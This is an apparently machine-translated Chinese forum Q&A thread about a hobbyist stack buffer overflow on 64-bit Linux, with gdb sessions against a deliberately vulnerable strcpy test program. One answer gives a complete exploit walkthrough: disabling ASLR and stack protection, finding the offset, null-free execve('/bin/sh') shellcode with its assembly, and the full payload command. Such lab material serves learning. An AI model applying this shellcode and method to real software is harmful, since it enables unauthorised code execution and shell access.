我正在尝试使用缓冲区溢出进行一些实验来获得乐趣。我正在这个论坛上阅读这个主题,并试着编写我自己的小代码。
所以我所做的是一个小的“C”程序,它接受字符参数并运行直到分段错误。
所以我提供参数,直到我得到一条消息,我用“A”覆盖了返回地址,这是41。我的缓冲区字符长度,我复制输入字符串是[5]。
这是我在gdb中所做的。
run $(perl -e 'print "A"x32 ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d
然后我发现要覆盖16'A'。
run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
)
告诉我们8“C”正在覆盖返回地址。
根据在线教程,如果我提供有效的地址而不是8“C”。我可以跳到某个地方并执行代码。所以我在最初的16“A”之后重载了内存。
下一步是执行
run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ')
rax 0x0 0
rbx 0x3a0001bbc0 249108216768
rcx 0x3a00552780 249113683840
rdx 0x3a00553980 249113688448
rsi 0x42 66
rdi 0x2af9e57710e0 47252785008864
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7fffb261a2e8 0x7fffb261a2e8
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x22 34
r11 0xffffffff 4294967295
r12 0x0 0
r13 0x7fffb261a3c0 140736186131392
r14 0x0 0
r15 0x0 0
rip 0x400516 0x400516 <main+62>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
mxcsr 0x1f80 [ IM DM ZM OM UM PM ]
在$ rsp之后检查了200字节的内存后,我发现了一个地址,我做了以下事情:
run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ')
然而,这没有做任何事情。如果有人能让我知道我做错了什么,我将不胜感激。
答案 0 :(得分:10)
首先确保更改randomize_va_space。在Ubuntu上,您将以root身份运行以下命令
echo 0 > /proc/sys/kernel/randomize_va_space
接下来确保您正在编译测试程序而没有堆栈粉碎保护并设置内存执行位。使用以下gcc选项编译它以完成
-fno-stack-protector -z execstack
此外,我发现我需要更多空间来实际执行shell,所以我会将缓冲区更改为更像缓冲区[64]
接下来,您可以在gdb中运行应用程序并获取返回到的所需的堆栈地址 首先在strcpy之后设置一个断点
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf@plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
然后运行应用程序并在断点处获取rax寄存器地址。
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
接下来确定最大缓冲区大小。我知道64个缓冲区在72字节时崩溃所以我只是从那个...你可以使用类似metasploits模式方法的东西来给你这个或者只是从试验中找出它并运行应用程序时出错找出确切的字节在获得段错误或构建自己的模式之前计算它,并像使用metasploit模式选项那样匹配rip地址。
接下来,有许多不同的方法可以获得所需的有效负载,但由于我们运行的是64位应用程序,因此我们将使用64位有效负载。我编译了C然后从gdb中抓取了ASM然后进行了一些更改以通过将mov指令更改为xor获取空值来删除\ x00字符,然后将shl和shr从shell命令中删除它们。我们稍后会说明这一点,但现在有效载荷如下。
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
我们这里的有效载荷是48字节,所以我们有72 - 48 = 24
我们可以使用\ x90(nop)填充有效负载,这样指令就不会被中断。我会在有效载荷的末尾添加2,在开头添加22。此外,我将在反向给出以下内容的最终地址上添加返回地址..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
现在,如果你想在gdb之外运行它,你可能不得不用返回地址捏造。在我的情况下,地址变为gdb之外的\ x70 \ xe0 \ xff \ xff \ xff \ x7f。我只是增加它直到它工作到40然后50然后60然后70 ..
测试应用来源
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
这是C
中的有效负载#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
ASM中的有效负载将构建并运行
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
由于我们无法使用\ x00,我们可以更改为xor值并进行一些奇特的移动以删除mov的错误值以设置/ bin / sh
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
如果编译该有效负载,在gdb下运行它可以获得所需的字节值,例如
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
或通过执行类似
的操作来完成所有操作(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
答案 1 :(得分:0)
对于初学者来说......你是否完全确定堆栈上的地址是返回指针而不是指向数据结构或字符串的指针?如果是这种情况,它将使用该地址而不是字符串,并且最终可能无所作为:)
因此检查您的函数是否使用局部变量,因为这些变量在返回地址后放在堆栈中。希望这有助于^ _ ^祝你好运!
答案 2 :(得分:0)
我没有使用x64,但快速查看说你有16个字节,直到rip覆盖。 而不是\ x90尝试\ xCC来查看受控代码重定向是否已经发生,如果它有gdb应该命中(落在\ xCC池中)\ xCC并暂停(\ xCC以某种方式'硬编码'断点)。 / p>